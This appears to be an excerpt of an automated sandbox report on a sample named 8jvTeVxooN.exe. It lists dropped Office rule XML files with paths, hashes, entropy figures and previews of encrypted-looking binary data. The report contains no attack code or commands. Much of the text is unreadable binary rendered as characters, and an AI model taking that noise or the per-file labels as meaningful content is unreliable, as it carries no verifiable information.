Preview:	<?xml...Z..W.F.K..F.w?...t..........`...CB..;..........r1y[G...}Lw.##w............,....%..`qMd>.Z'&.bI.2T.......7.5.8.}.. [..}..3..mT..;{)7....o>.RL?E..)z..&n._..?Q.....6.X.c}......W...GGP...an.f..U}.^....t0.....^i.6.P..:e........c.g.....BF.a...........Q..s.y...y..3%.....C.F.N.7].......o.....yS.\|.:.Q.A7..h[p]....r.tu....@.O.]EU.F...D>.c...[..6.b.#,.e.P..PCk...E..c..L..e.1..z.S.........Z.}K.v.."{s.i...nC....uC...02.B...aG)M."..K.....5).T..\|).Y.8. I.........F..\|.!._.7n..... A5.+.E^....6........H7..2.Osr..c'.....tBw..5./i..di.5."...ug....[.._.......fx.....R..X...Ns.t}.w........Q.0d...vv.UFN.Yj...^R.?.Z...n......G.2.R..5.......q=./...k}....'..9.Mx.}.,2......8Yj.....!YO.1.L...V`=...;...m..h..E..Q.......mz..%./R..e....k....2.^.."'\..2....0Yk...`.6~....)..&..b.h.{;v.......S..c.........?.....p[.W.....VM..^........p0..ty.+.d...'!..z.....<.H..LA.......l...).j.=..p..{.N...o..Fn{...S5.n.o.....oc._..aWm...IU_hu3.~........o.z..'.b.L.g?-..V......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.97340142594222
Encrypted:	false
SSDEEP:	192:XzKZalsID7yhkQPm7mnd+CoYB3hWCrrQwe:XzKPwoqmd3m
MD5:	26B3FB910CABC501A853D10566D81667
SHA1:	CBBA9757620371D82D6493E4E8ADA68F7F8B390B
SHA-256:	F59AC83417C54EBE7C7C968C8FB69E74C006D891A48C721DA8F8432159DF4FDB
SHA-512:	D75AEAC86B461F0C84C1CA374E940888B22CDB2ACEFB97D04DECAF69D4F16C887819551DEE552FE20E43B7CE4203C2AFB1EFCF1E02D5E9F536600064F7F28F68
Malicious:	false
Preview:	<?xml..q.m.`v.@X..`)?q..?Z?&.u.?zZ...G.z.A.Q.E..Aief.i.b..M.J..aFI.....Le.o#VP8...u.>1....q.[x..\.%QP0f.c.}.~`;..S.zsE...N.P* k.fG.....S.$.+.o.y..K....y.k2v..sC./pk.!Yi..H"~....L..t..;..?S.T@.a`Y.....^...s.^..C%.e[.A.t.X.L..<-X4..3..K:p....}..Rz3...:...r.0%.70z.V......<...AZn........FN..P1.S..@."R..x$..@o.[....-...B.w..9UxH.H:.T1.._.A......5s..3<.l.<=......I.sz.. .z.....w(....x7oz.%].....?.\|.T.%....@..k.:j...R.."..VE.Z;..Ng.l...v..5go.gCjQ3._.F..g.+z..n+..Kv(.GKu...Q.Q.lq.r.4.....}u&b..~ .X........@....l.Z..f.....}6:......o.Q.=._FQ...'.;...($....k&...o"B......\|.2....t..H%h...p[.i<{V..O`.Z.:4.{...G...Cq....._..%4...Q^..B<.u...@9.)Y.B.._.BG...B..&.....k%!....r..%D..V...Kf.85...j..`......e....}.IA....[../j;..U..0.z3.]x0C....*p...}W..T..#Y..O.n.x..w9.oN.uL.[j>...n~z.a..U...!t.G>f.)...s{...;vc...o...@2.M.G.e>4B..g.K.%.%p.L_..U...[.!.vm.8...7ml..)...`=.5..PV...,..V3.J..0....[f....!?._.C..`3.%....\|/...T.K......[....../...Q....&...@...a4..d;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.741764127766829
Encrypted:	false
SSDEEP:	12:T45TAUu4vzchdGWgpgvKtoocdGAXfRlh10UPaszhCRHy1wCHqNvsjnmll2Mf2FNE:0WmvzchdG5guI9XrQUydR0wCH+vAnmCw
MD5:	2E37CB33AEF8BFB159DB6C8C973699B9
SHA1:	343E63FDB3D56AC4DF20A83B25FFD0C6ACA294A5
SHA-256:	F6D4B33E83E7112EAE154D03CC608FC61F03648158B3ACB9B42F251DAA67C4EA
SHA-512:	10C3799A3897A2B4A9D79AFB2B06B0D2B59D98E6DF35518BA4BCFAD5CD1B521E9C24D8D7E42A374CC4E4158FCBC55D81E93715463AB00094DD6CAF842067C3E9
Malicious:	false
Preview:	<?xml.:..(.h.lh..N]...PG.e5?.7..@.....=1.\...3.A.e{Rud....%#I,..G...?}..z..9.2.I...H.&Ui...6k....%B<..K......D8.......8..R.;(..Wz...C..R`.....$cI..G..6..~...H.x.n......6F.37..[ l.Q.v...\.X..\.Pko.).F..g19Bo.U..OM.!....v\|fU...<a.,..+........!.-._.c..d.3..@.B9.C.......T.0^.M0-t7.)...?Bl...N<.,.E..'.D.W....P>..j.?'..H.....N..%i..q1X........j.!3.#...2.KB.~\|...k\|...:....(..."R..,..oI..P.iW....w.&.D..A.ot.!.a.'.BT.aD.vu..r.$......=p....v..R?.@....cH.f.~P.r......DQ.<.;........Y.........2?Q J..[.g..@Z.9.<..U_.3.u....R...y[.u....d.^.......S%.?O_x..u)D(;/.......>e.qLU..........z....@P7.(>..#............B....m..*...I....5Ew.....1....Oy!.4.`.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.847578581778189
Encrypted:	false
SSDEEP:	24:K8ff33yIEkmjUOiDuQywuAaTk3ngVwms3IiHZ8oosjgpA5chgKH5YcZiObD:nvDEHTQcAek3M/s3pHZ8oosj75AfvD
MD5:	D13E5882C2AC37BCFAC5F03A268BF227
SHA1:	91E9E3AE8EED1643929A23B8429E670675F2B025
SHA-256:	6A8E3F7816AB0129D71FB7C7CB22E5E67DC488EEF46250CEA6DFA4E59FB7A317
SHA-512:	5B8FC4F49B5D3417629A1C500EDE38D3B1E49D50E93521BE48981CC9991E25A66BEF2C193EC78DE5F6A738D9D2CE7993333091735A5531278B2C6231AA14EFC1
Malicious:	false
Preview:	<?xmlJD.....=sQ..U9D...7......-T..6.aA..\P..?..i..}1.lP..iba.....\|..Wr'.F...._..f.X.F...UOv....(.k.&OECjAhp...,.R.7w.R.)...9./..]...N}.]A.4...I..#{Q.D...xB@..0........... d`.;..Y....>~_<KNO...Z.t3...B.......de!ky..=..p~3.7.[d9-....:.\|..@.....3..p..2..`. .P...qE..'.).U.uw......K.B.'..D#...,.-X.......<..j....k;...nF.A.........8...b.6.I..bC..W8}..N.wn;5...C....k./.Oj.N.E.`...B..?.{..w.C......#.....~${`pY....u..).I+...D....j..Yx...p.;.Sf.....!.&...e.o.3..e.Y:..x...H.....o...Z..};hFd...~w.....,?\...[h.".\|l...S.N...#./.r2q...$..X......q...+^.....\..........i.]..B.....M....#.............0S....{.{...3....e...Ud..3V..;k.P,..%.}V..%./;Z.o ..t.V.V/../.I7..i.SJ...f...]VD?......7+O.1.../I\..P.i...b.E.x.-...P.......\...,....j..E.A..S(.M.&.:..D........+.....!.....0..Q..>j......N...H...}....B...y.G....q.".+..<.e:U&.t.t.o...m......e...#.3....;........<.(....j.XM....k3@..i...-.r>......<....5...,Eu.SH..qO1.k(...z.)..$.....I....}..=..w..C...iW}........)3b...8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.948074837187923
Encrypted:	false
SSDEEP:	96:8AKwebj3UJ/wggIgsDSa8kAiV++2q50J64PfFdft+:FYnjggIh8kPxM60E
MD5:	10508C43296F047310C5DFC1893641D1
SHA1:	5538DD3B2DC143761F373F056F06B0F1DE2FA469
SHA-256:	79C1E596C0472BE72E05F39AB9FDA9ED94E6C34D95FF7F3FD2016C8B8F161521
SHA-512:	D61753C93C83FFFA73F0537D7359416142D46EE8EB23A9833CB340BC090A371C2A90B8CC9790274BF587F889702E137E62F859261F70CA637C3C62B05746EFDB
Malicious:	false
Preview:	<?xml.=.5A..\.qS.@.8@L..s..>2.\|...v^%.D.7{F......&..A..@...N.y.+). .........+&{m...9..,.3...K..@..9......9..F.z./.!n..E..a;.......:s.(0.d..Y...J-..k....N(".l/.}.......v9..oy....Cl(!P..,.Jf..V.8.;z..%.O......Ch....W.ts..p^ak.g..D.....RV....h.&..&.y.x.N3(.f......%...E.....9>d..~..v.8..O.\.....{..G.m...Efh..%..&;..j..4<..F..F.E....../^0.T^.%.5....3.......(a...&..TFFX...%nL]....?2...n...a.....e)4....n`....Mg.. .(J.!=.,.F.k..-.ggxRq-=.b..&.....!h.../Q?.3..#R..k~....HP 5...L.BgS._....h.^.:....t1tH....8r;.!...g....!.mp2t.O....A.}..Fm.9.B%.,w.h.%[o.o.Y.[K.Z.n.....r;...?...n.\...@.oQ$(..:.p.\|n......`../...$......\|.r?.".^...%.m.._.{>i..{..3Jp.v.c......0..XjGo....N.....N...9.Sp.okyx"#.....".....l.."...>.~.1s...Nw...l2..n.l...b.: ..Z..P.6..L."v6. .&..j:...R..?:.....^..J$x~{f..w...3...r..Vb/$A.....03.u.,..d`#..g.q.G.......H.5.u{W.^.2.....gAa...V.T..Wm.Q......Ia.I...8..f...=..1.$....U....3.....:x.:6.A..&.q.r...q.V.e1.W..</.iq.(......<.'V.<....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.812723367845643
Encrypted:	false
SSDEEP:	24:vNNTXFwILfkz73R+zZxYANv398JhkKKmumObD:LjSMfk3szZxB8JhkK5eD
MD5:	0FA88296EE87192CA9C492F7502D0468
SHA1:	E98F91F7077C1E2842B470B248E3D3DCDF88D70F
SHA-256:	B929F2D6A686ACC48D31A76FABA7F3A6F0D72083C4B9D87EEB8781A50C2CEC76
SHA-512:	CDB9BCCA5E6827DF605EF78EEA31DF04D492B76498C7C46A9649C575B30BA4505D5B2D246D1610FD6B7EE74899AB0B324A44FDACF602658565062FF510580161
Malicious:	false
Preview:	<?xml...s.).f..7.7...+'..bG.U.y........>.z....g....{....:....YG^...4O.J..-.V+....BN].S-3...&[{S.Q.}.[E....8.....d!.......PH.:...vj.c..H.CR..(U.....1..1u.QC.Y}.'......b....\M.x...h}......v...H..'G.^.JER........u...S........E...]..z....".Vi...,...eZ.;i.K.k=v...tTm7...GI.....Lr.._b.{..H2.V..c.....B..@.9.@Fp~..2.(.......[T..t....e.......C.;.B. T"X..i.3....62;jC....,`......wA..7..]-.Bc...m...J ..r".."m.XS..9.K.M..fD.....H......$...Uv7..N.. <.y..JI@/.:....!.q1.TG.$\\.i....h.P'9....x:`gC.q..$X!.......u..p.>.L.;..tY.[..x...Q....5l......d...%.L.:.....^........e=.x\|.=~.W. [..}yR..P....B.\...YO.....5...Ky.q.L..k...l'...SIL.EeH..#d.Sr..*..].'.Pf.y.SW.E...S]7.....?..-...........R..,..4Q..<.>`n.L.....4J...P.At./>..I...:G... @..Z..,.....'G....L3l......>k.........~....xQ.2...^.....)]..4.3 .1....TJ.}8.G.............'....p....._.....y..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.9367410325753225
Encrypted:	false
SSDEEP:	48:zuAwyypz0tWFCeeeCOO7UpH8z88K3NzDrY5eLhOtyMjnP67/56GX+j2YEZOUqLP0:z7gpz0tWQeTLO7A8BKJDrTQNjnP67/5h
MD5:	5A503BF81905E1AFDC98BD7094AB8F71
SHA1:	7E96674E7954403C980BF4228EFBA0CF60679C05
SHA-256:	7313B7BDBEBD87A2BC88DD426D259FA9B828B3400C6FACE8485664BF1183F230
SHA-512:	EC41E42BB76F4766E9C1A2DAD57C168981FE1A5B80D4D7F974824DA8D72FF8B12003650316B751C79AC2DD0FC87BC3005FDAB3C56702286D151F92F99B4224FC
Malicious:	false
Preview:	<?xml......+.D...\.E........O.D...#7...&q..j.:..]g.w.iT.a.w!.n.0J.h(.$.P....d..0.........[.\....AK...!..Q.A.M{.6..xTQ..fS ....m,ub....{...y.j.6.....WW..`a.\|...hx.;V'.O!.....+.Nf.....X..E..T.3%.h.....M.2..D..;Y:.!.R....#.E.U%.{`...v[w.u.1..(y8...........jv(.Z.lm..g...0YXGO.%..^.....g./.H?C..5.?n.'a......1/...r..Q..}..b.J..8.Y\........AU.K].....Z....%A.Y...!I......!p.....-H..#6}........_.L.z..av.GF.9l..6\|2.{R.............>.\|..e..i.h6..MP}"Y....LV.?w6.D.u.....s...... ..r...0G..u.ke.2.........)..........;H.<$......&^S..gT.....,..0N.(..[..E.....J...\'b@..G...de..q.....+vLg.M.ok!B....'Q-...Hc.K..n.JQ...B.......`...6.`...Z.....xW.'7..%.D...m..e.I....p[\|.x..v.E..{.j..O.X.6Y. ...&-f.S..X.D-Y.uF..i.b.#.a...f..o.A?b.v..a.......o.'..p..vS.P...47X....lj].^....Pl......X.Q....X...A....4..,....m.F.%.W.....@2.8.......1...x.?.-.f.X;....V...D.6*.bZ..>..x...L...9{K.`..T...h...N..:..M/.N.c.....8.K]}.^K....=...#.U.u..nd....r.&Q:.....&S..k2...N(.2 .u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.921195478565639
Encrypted:	false
SSDEEP:	48:ez1e1qhK/NRP4H44C5vgtfGUkZdavflDQY/XfhZ6BFhUMDD:SmqhK/NGYxBgtfzkG3lDQYRZUsMP
MD5:	C8A124F113E2CD490C275CB12A39370D
SHA1:	B28671D5077AD533CB9578FBA73F98F2F2049C5A
SHA-256:	4161EE3BA84F17D83884CBA3DD7CF866F5287F459FA7FB268759E38D624711C1
SHA-512:	903C38AD4510FBF6F643832B23699F8919805AA936DB4C69A3681E3506B09E17E0B0118FA3F9E69124FA1391BC8C2386A634E8497794B5F82D7EF6AB13C227B8
Malicious:	false
Preview:	<?xml.q.....\b.....\.....c..]&c0.t..;...b.....9.?..n....t..t......^.#8.....yb./..i.h..\|.z.~ztcV.rY.P......A..\|..~F6._....b.......I.../.3....</4.A0...^7.\|.;r.X+._..-...0.\QA.......3.H...I....GU...9...g..J.... ..wV... J{.....".P..V>..S....7. ...7VI.1...z+=.U.#@.%_..=7].Y...T.v,].....g.l....g}....9.8n...\|Z..p...3Y....w&.I.I.]......N_...D..V.,...W...K.FR...[...vhoe[...t.:.O..i.m.c..NW...1......I#.....V.F#.....+..~.:E8...9.$.J....&..H.......(u...7v....Z....g.F.i.M.Po...:D.<).d.cR.?R.\|.w.1..jJa..M...q..D..0-..vI.h..F.C.+.E.C..x8X.../...p.,x.Vj....{+/3...m......".sz.3..'.'..G;..D[(........e.!0.:$.e..4`>...!.6...;...`].......q...p..b..k.4w..~.U....T..Y{m....1N.r....x...,.e...T.J.4f......n...9.%.....l..).b...6..Z......>..a.T...t......7Q.l..3c..f.^Y;..0.\|..k.,..{..2.nA.Albl0.w.C.$\S.....+.E..k.T.(36....4.0.n.*...&..{..1JV.]...>.%.Z.....xn............@.M..~..PM.2....1R...6.0w.#..W...z... .s"...m.k.........pO.......!. ....w..._....RaW.Y.!Z..\.<.>...e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.931466134028707
Encrypted:	false
SSDEEP:	96:Os1DCM61lbt2XqMCMRGUyx+rt+JBv6frX:XD6/UXqoRJyxOE0rX
MD5:	6239F54644F1B1A03B4F90D1E106DD62
SHA1:	C1E1EAAB70B22B3E7FFD9C5AB6FD6E50B02EDDC6
SHA-256:	AEEC43A62A69EE35E54FD39BB6ED24D14F7A1B9CCAC48CAC5E936BAC70137D83
SHA-512:	649082A90202CC190F1915A9CD5074BECDE62EA96A52E377A55FA1951BBB9C76F032EAE017BCF612DBF55CB03A2FA58341ABD6E60D1372F140A10F9DAA735962
Malicious:	false
Preview:	<?xml..R.Z.O.B.+.........%..[.!....F..........:..m..%..,........=.T]d...ydGK....a./8.T.@.>..F$`wZ(..,.75.D..o.....C.......}...k..B,.......wt.....W.l.(J..@_`g...b...V~...Q...4[...()..mv.f......}..+'.....L<<....K&[.Y.1..DD..B.....v7.............C.1.#...V...=..c..D......io;1...L3J.D.ud&.KX..=...z..5.f.g0O.`+. ..5.c.T.."y.Ch.l..f.gh.o...S.XUg.P..s...u..m+.w...e..o?.?....^.~..-.v.I>.:...MC.N._..^..I....V..nJ-.........b....-c;.%.h...VR.~..R.v..1[......../r.q..M3].... X.U..?...D...z8......?...^......av h........Z9......0.xT,.>..>g..2?.....+6.".).......,....xD..e .WY.9.B.z.5....K..q....5..z.[.~)/......q.>..H_;.....DQ<*~................w.....D..;..pB.\|.. ..v...$...o...=..a.DC.....I..om~.Qv.-g.8..K..E.q.N.d...d...^Q...p..9.p...S.4.^.[..~[......O}[1.+...y...X.}..S.L.n..-U....\<.N.T...l%4..u^#U..z?...}n.=......F;y...Z....._..Fn.^.........9."5...Y..-...B......p>#...P.[.M[.g.Q......A..g....!v...;f.x....=..1a6,.....Z.n...y2..$z...^.&.Mx.N....?C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964104566714846
Encrypted:	false
SSDEEP:	96:/pUjbVenud2X2iSdkjdAZdY9Tk07rBdJmgyHt3YYHCQ9B:sUnO2hSdkpXG0PBdJm/GYCe
MD5:	376CF59C2FD6B5A43D8E36A902D6B9EB
SHA1:	FC45370BD9BD54C3A0B17731E093C01AFEA189F3
SHA-256:	C74B3BE962D4A9C2344C37AAAB14BBD260C7A238C02BFA7A9DE7054604DBCB20
SHA-512:	8C8FE0D281DC273A15FA173088914B80D6F4A5D61531BA6AF7AFBD012A28B749FB56EE03252B05EDF0097DE942DB2E9B54A24DA5FE29FF1B493606E226D8F819
Malicious:	false
Preview:	<?xml..^O.........gj..E/.....;@.tt.z\..Kja.......$.G@..c..VF../.@.T...F)aE...,@...>>.#........P%.`...`R(3.@lL..r3...Z....z.r.<<..a..X..n&u..\|..S~.....+Ve..L....4.{.SRV(..S.... .m.DR....I...Jl8.%#.3.@.."..=a.)...X..V..4f............Q...!#....l.&.,...>...O.;....;...K....9u..z.....}....V.G.2........2......s#<[..!.....,.\hE(...o.4D.@..@bA..he.`(...%.P.....k.?3.<.N(}....5_Y.5,l.....\k.Azti...P...t.L....-A.....H..Kc.':`c.5.../.%.m..@.Ma#E.DXd;``.....{Is..M.L...a....6.d..HT?.g..._.vk..iBL.?."d.R...,..I..]Gd..u.o.Ln(\|...#...y-\|...Q..D.R.R..$......j.vuY8.....7..w(....J...S...=}..-..w...l..Vq.!....(.k....w...[%.j.B... ......I:tY'S....I.U^....1K.....k....by.+...e..^$FD._7%.Y..`........;..N.o.L....r..a...8..0...jF...^... X...q.BY.....0_d...$.T... rM.{....4.Th....v.{...qR..3..i22...B...........C#.J9........Vk..f.`.G.da5.k..u..0.....p.VGI..kK_.....tJ...b.+J_.z.g`...&k....#..IT..\y.. ..!_.QUv6....h.F...).x...(W.5.....W...@Q....qD.B.!.D1.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977809457546878
Encrypted:	false
SSDEEP:	192:kvfN+AqG4s/+Axw2ONMnqpW1bQDqJ2IKbqgmZFt:Mt/+H2OmnOoJvKbJmZFt
MD5:	B1F19BCAA85E87CA7A4FE741A54D7C43
SHA1:	0CA35B4FCF5B0681CA15574D471ED6456F9F3276
SHA-256:	E8590C2FDAB8D1F7E41B89A0ABD24B854C77963951F095E1F1C47300EF2B0EA9
SHA-512:	D8D6A2BE23A86B22C86437F18F93BB0432980592B2E02B457CA1C0ECDDAEDB934A8589C8EDD4FBD6EF32AD338F422B1BD7F76F05A8B8F6209A69A44F3A494A45
Malicious:	false
Preview:	<?xml.... %.U....h..~wl..MU.W..c....8...'.....].x.=....m[.\|QJ)#.7...7!2....J..^yi.......s.......i->!M...K....H..wT..K;...<V....v.n..v.X..aM...I.'S...v......2.V.....v.(....&/Xw.E..+..x:.4$p."#......5..L[.?.....w.4}H3_f...8^9Wv....?..An..Q#l.V....K...C..jW..fc...\OSg.'GwR.RG....m...1.....)'...5.Y..+d.......ke-~..?..V7...$J..!..@#.O.jI.(.B\|4..{....Pl....,...@_..k.w..Y....i........I..V..,.....-A.\|..r,..F].......[...5..nj.!.!Q...._?.q...%......0...e.....Z.A......}...x5X[BH.td.(.p4.......EX\...J.4.m)L..~....Z..sY.....&..nll...y*d..."n....zn.............X.q.....rK... ;....\.....di6.. U....Uilt<..zd..8._...A4..C..B.0Y...c.f..D.e...:.>..hd....i.g...2...5...p..=...?.:+....WP....>f.8<^..R..y.S.7.......i...M...D.....X...u$f...Y.Q..$N]....6.K>.&.-.^?.Rl.pP.....xI[......8.?..G_.E.As.(..i..."..9..`#i..Qm.fIl')..`^.Sz...^.v.E....9Zy...B......O.&F.....8;.Aa0..%.a.W.......R.@..D.......f...MxQ`c.LM)...]8..3.z.\G.(....F.t..G....S.r...y...r..Yd

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.971863776708112
Encrypted:	false
SSDEEP:	192:IMwF/8tCnfntuAAnUxIn5zqtzFmyDTsxorHjXXn196k:If8tCn1SnUxInGzX5LH
MD5:	166A4332E86BE024EFB3A110E0EFD50D
SHA1:	689664F6A17CF32252B6D1F59E242CFEAEBB90D0
SHA-256:	79914024851E458D5FF4DB0F376AC7EA04470AE8BEE4C74EAED8CF4932DE4A29
SHA-512:	9D96212335215A7BCA5DB921DD7ADECFA418749AF13821AC0D9C32C5EED4056D753F671E765A1473A706D45640AC6134E843D3BE5134F834D065C6B2A417C3E8
Malicious:	false
Preview:	<?xmlF.[..\..?..T...r...Qr..P.eY..!.5...K.'0]h.K..j...\....g{1!q....ok.m..p`....pM.........6.mA.mi.x..O..beco.;.55...O...\.....$?../....Y...EJ^....t+9T.,..s..j9H..f.9Z..B45.u..}..b.....b+...2wKg......f.!..]d7.'R.....1Uli.^AY...7c..O..U..?...AV....j.s.(.T..x..,m>....EHX...nm......[ZWT..Dc.j.J.c?.p<:+...g..Q.3.z..J..".9Z.n...wK ..h.K(....G)(..L-.2..;.t..O..S.ku......Y.k1T..K#I..c..~.....0n.T<t.....-.7.....p.Kjg(a}wq.?.....[....0.(.2....e..\|..4V/.iJj..c@i.dO.4.....Rx..J. .&.e8W.n.....F....~...(..........C.^..a..Ez...$Gs?.2.]W...>Z'.>.S....FV(.S.....u.<V.:.).s.2}.~D`?.y..47U......Ids.y....H..C1..Fh....s..s..\8...U............6.i...q9g..p`.3..'H y....x..K..a.]%8=.ER...W0.G.........f........;9q2..8.N.... ./.8 l..E/..)Bf...............a...\|.C.,.}.......c...u.4~..9n....+".../.c.b.[....b..nq#\|...E3...&..K.jk9c..N..nyO.L.4.P......R...@k....W..?..V.e..tGV ..o`..M..4.=0.e..XX....?C.\|D.6s....FG>D.J...w.L.N{.=. ..e.z.....nC.7...w^...v.}f>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.871095683081652
Encrypted:	false
SSDEEP:	48:9rRFXrhcvLFiK7DSqM8XLOAJVnFuhtHn/VWVD:9GDwKH1M8NHeHn/Q
MD5:	092549009E372D58FD61807BD74E2160
SHA1:	4788519AF63261656EF9DB47E53A82DFE3FF332C
SHA-256:	1AEF3675287CEAE52924DD4B888C76CAFA98C0608BDE2412B397930C07556367
SHA-512:	DCFA0476FA79A7A43F662695ADDA27B52FFB5944528569EAFE62E582135CE9C8EFD3C73D8E79F33DA2D277EA2C598092A2D30200FE610F63127F02B0B495F3BF
Malicious:	false
Preview:	<?xml..G.]......%..@...F6....S."zet@4.x.A.\^;.......LAu.M.....\../...6..w.....c.Ltj....(79:..T.7.....3.82..O...SI....Y.u.!..Ml.m......[!.....l......w.A'..E.....W....7....9L.U..s".......D..Y.k.XPP.s..x...@.z..ho.3.e.d...Z....CC....=.....\|{...b......yM.w#..`..fy..2......m....n..>.s>9..^\m...)K6Dm.....)M....i%C0./u.u`.d.#,. ...)....f7..%.giG..=E.8]..9x.....Q&..s.<...7.jU....cgAzt.!.J.q......t...L....{.B.......p......g..7...\...W#A.\|.B......A#.(.h....!\|.tE....nZ.).5.Wj.;:V..."..>7.(..l.. ..G.`.f.\|...(.{.+....M.5.}U.i...".&.i...7...Y.9s.....n..G..}v).........s...p.&.j.<q.I...c..N...o.J.m..y.t_.d.hn..o..)u0j9[j....1.N...............m\|.%}..gw.F9U..X.R.<..A .....4.pbc..h...........a+....3.cL...T..0.w..'.....#kF*}.....Gy.n..a...1.\|......m.z..md.vJ0...).o.$.E.a.L...........>h6.hY.H..f.p.g...)$..s...T)..:...u.E...&..5..`.....i.K.B.nE.{s.. '....?.Xr.G.D9.Q..&vw.o#"..M.'.H.N.r~..._....\|.w.n(lN..}s.......M.kq..?.5.S....~...%.....%v..\.s.NxJ.w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.878200954530565
Encrypted:	false
SSDEEP:	48:d0dOJ84rg6wTh6K/1bIupkVQa3eszLAFO6HID:Odb4rg6Uh6fGcuacHU
MD5:	5B22B6E8906D75DA015FDFB7DC20A80D
SHA1:	AC752C51879A3F61E7E502DA8FD2CE8DE26C5667
SHA-256:	93EED821517571C0D7E4AF0721AF1FE57CC2506D05F53A2541A4DF4F82C87DD9
SHA-512:	C3453456422F830E1A75277CEEBEC69D5A6E13A3D83D16CD5EFFAE0189F1E5C74CA3D512F8247D5D4ED007BBDE93907853626F69D63795599B1F37B3BC410DB2
Malicious:	false
Preview:	<?xml.i.a.>0...[...m.u.#Q@6y.~.5...NrP.B.GX.w.M...d....;..[....YS.8......p...H9@...3..r..F.......;.8.D....pO@<.\N.N..F.m.w.u`r9N....p.n...rS?....../4..y<..:...s............'..Z=...\.w......A.....h.`.....>,..6;.....&..../>..C.....55N.5..g..n<...I......d5!1..}....3?.OK0{..i........S..!.U.P.b.......1.Q..\|.j.....Z.....d......I...x5.C........a.....%5Dv./p..8..v.G/C..rgk.Y...;<.v7E.Gm.2..7...85.y.;~........6G...=...ceX.{_. .$.g.\|.ez"Z.;M..HI....g.....i.<..2....^i.J.C.,fRs4.E.....1.....VV..'O...........#...I.......9.. ..3&.bdW..#....>d..Qh..c..3..@%o...:.`...1.r...K.Uh.4.a...t.".4...=,....7...qLn[:.....S.....:..Fq..j....j..t.A..}T.u\|.g'~..I.p.:....>..+v.].e..Y.. ...Cn.`.B..Kd.ox&U,{.(.:.........]\.w.'......./...{.C......(.\}.C.I..G..<.3.YV....i...... ....ZY24._\..=.F..[.....W.....p.....Tz..z.d...R]...a#..../.C@.....%../!H..fo"[o....l..r.'.~.\|u..=.W1b@.4..l.XCm..Q.>.,.\|kU...~..f.@......g.M"...._...q.B.B_.QA.y....B;?b.:..V.m...9A../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872397615494957
Encrypted:	false
SSDEEP:	48:Qo1nkcevFqST05PlkJVE9ryZbKhdPYHYMoldLTLQWOIE5YD:LnkxvQZVuJVHZbaPAYMoldjQWnE5E
MD5:	5DEBEC7019FFB0DE4A7106B3CD4A63F7
SHA1:	C23D7A9F90B89BCCCD1F8F6AB2E686F973518952
SHA-256:	2931190FA7AFE21534B4A99EC9DEFADC9D9083F9A32CA9411E341B9D2AA48CCC
SHA-512:	3973682E2335E26AA533B0CAD858A6D414B13F4E94D654BA3F5138B12408106483FA945236B0657CEA16C8C41C658BD6815E7B43366E9E2F0DB4E6A94B4D6E95
Malicious:	false
